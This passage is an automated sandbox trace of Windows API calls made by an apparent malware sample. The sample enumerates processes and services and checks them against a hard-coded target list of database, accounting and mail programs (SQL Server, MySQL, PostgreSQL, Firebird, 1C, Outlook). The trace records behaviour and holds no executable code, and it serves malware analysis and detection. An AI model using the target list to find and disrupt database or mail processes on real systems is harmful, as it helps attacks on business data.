Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.638] lstrlenW (lpString="svchost.exe") returned 11 [0131.638] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0131.638] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0131.638] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0131.638] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0131.638] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0131.638] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0131.638] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0131.638] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0131.638] lstrlenW (lpString="userinit.exe") returned 12 [0131.638] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0131.638] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0131.638] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0131.638] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0131.638] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0131.638] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0131.638] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0131.638] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0131.639] lstrlenW (lpString="explorer.exe") returned 12 [0131.639] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0131.639] lstrlenW (lpString="dwm.exe") returned 7 [0131.639] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.639] lstrlenW (lpString="svchost.exe") returned 11 [0131.639] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0131.640] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0131.640] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0131.640] lstrlenW (lpString="spoolsv.exe") returned 11 [0131.640] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0131.640] lstrlenW (lpString="dllhost.exe") returned 11 [0131.640] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0131.641] lstrlenW (lpString="reader_sl.exe") returned 13 [0131.641] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.641] lstrlenW (lpString="svchost.exe") returned 11 [0131.641] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0131.641] lstrlenW (lpString="taskhost.exe") returned 12 [0131.641] Process32NextW (in: hSnapshot=0x328, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0131.642] CloseHandle (hObject=0x328) returned 1 [0131.642] Sleep (dwMilliseconds=0x1f4) [0132.375] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293da8 [0132.426] EnumServicesStatusExW (in: hSCManager=0x4293da8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0132.426] GetLastError () returned 0xea [0132.426] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa64) returned 0x428a390 [0132.426] EnumServicesStatusExW (in: hSCManager=0x4293da8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428a390, cbBufSize=0xa64, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428a390, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0132.427] CloseServiceHandle (hSCObject=0x4293da8) returned 1 [0132.427] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0132.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0132.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0132.427] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0132.427] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0132.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0132.427] lstrlenW (lpString="AudioSrv") returned 8 [0132.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0132.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0132.427] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0132.427] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0132.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0132.427] lstrlenW (lpString="BFE") returned 3 [0132.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0132.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0132.427] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0132.427] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0132.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0132.427] lstrlenW (lpString="CscService") returned 10 [0132.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0132.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0132.428] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0132.428] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0132.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0132.428] lstrlenW (lpString="DcomLaunch") returned 10 [0132.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0132.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0132.428] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0132.428] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0132.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0132.428] lstrlenW (lpString="Dhcp") returned 4 [0132.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0132.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0132.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0132.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0132.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0132.428] lstrlenW (lpString="Dnscache") returned 8 [0132.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0132.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0132.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0132.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0132.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0132.428] lstrlenW (lpString="eventlog") returned 8 [0132.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0132.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0132.429] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0132.429] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0132.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0132.429] lstrlenW (lpString="EventSystem") returned 11 [0132.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0132.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0132.429] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0132.429] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0132.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0132.429] lstrlenW (lpString="gpsvc") returned 5 [0132.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0132.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0132.429] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0132.429] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0132.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0132.429] lstrlenW (lpString="lmhosts") returned 7 [0132.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0132.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0132.429] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0132.429] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0132.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0132.429] lstrlenW (lpString="MMCSS") returned 5 [0132.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0132.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0132.429] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0132.429] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0132.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0132.429] lstrlenW (lpString="MpsSvc") returned 6 [0132.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0132.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0132.429] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0132.429] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0132.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0132.430] lstrlenW (lpString="nsi") returned 3 [0132.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0132.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0132.430] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0132.430] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0132.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0132.430] lstrlenW (lpString="PlugPlay") returned 8 [0132.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0132.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0132.430] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0132.430] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0132.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0132.430] lstrlenW (lpString="Power") returned 5 [0132.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0132.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0132.430] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0132.430] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0132.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0132.430] lstrlenW (lpString="ProfSvc") returned 7 [0132.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0132.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0132.430] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0132.430] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0132.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0132.430] lstrlenW (lpString="RpcEptMapper") returned 12 [0132.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0132.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0132.430] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0132.430] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0132.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0132.430] lstrlenW (lpString="RpcSs") returned 5 [0132.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0132.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0132.431] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0132.431] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0132.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0132.431] lstrlenW (lpString="SamSs") returned 5 [0132.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0132.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0132.431] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0132.431] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0132.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0132.431] lstrlenW (lpString="Schedule") returned 8 [0132.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0132.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0132.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0132.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0132.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0132.431] lstrlenW (lpString="SENS") returned 4 [0132.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0132.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0132.431] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0132.431] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0132.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0132.431] lstrlenW (lpString="ShellHWDetection") returned 16 [0132.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0132.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0132.431] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0132.431] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0132.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0132.431] lstrlenW (lpString="Spooler") returned 7 [0132.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0132.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0132.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0132.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0132.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0132.431] lstrlenW (lpString="Themes") returned 6 [0132.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0132.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0132.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0132.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0132.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0132.432] lstrlenW (lpString="UxSms") returned 5 [0132.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0132.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0132.432] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0132.432] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0132.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0132.432] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428a390 | out: hHeap=0x880000) returned 1 [0132.432] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0132.434] Process32FirstW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.434] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.435] lstrlenW (lpString="System") returned 6 [0132.435] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0132.435] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0132.435] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0132.435] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0132.435] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0132.435] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0132.435] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0132.435] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.435] lstrlenW (lpString="smss.exe") returned 8 [0132.435] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0132.435] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0132.435] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0132.435] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0132.435] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0132.435] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0132.435] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0132.435] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.436] lstrlenW (lpString="csrss.exe") returned 9 [0132.436] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0132.436] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0132.436] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0132.436] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0132.436] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0132.436] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0132.436] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0132.436] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.436] lstrlenW (lpString="wininit.exe") returned 11 [0132.436] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0132.436] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0132.436] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0132.436] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0132.437] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0132.437] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0132.437] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0132.437] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.437] lstrlenW (lpString="csrss.exe") returned 9 [0132.437] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0132.437] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0132.437] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0132.437] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0132.437] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0132.437] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0132.437] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0132.437] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.438] lstrlenW (lpString="winlogon.exe") returned 12 [0132.438] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0132.438] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0132.438] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0132.438] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0132.438] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0132.438] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0132.438] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0132.438] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.438] lstrlenW (lpString="services.exe") returned 12 [0132.438] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0132.438] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0132.438] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0132.439] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0132.439] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0132.439] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0132.439] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0132.439] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.439] lstrlenW (lpString="lsass.exe") returned 9 [0132.439] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0132.439] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0132.439] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0132.439] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0132.439] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0132.439] lstrcmpiW (lpString1="mysqld.exe", 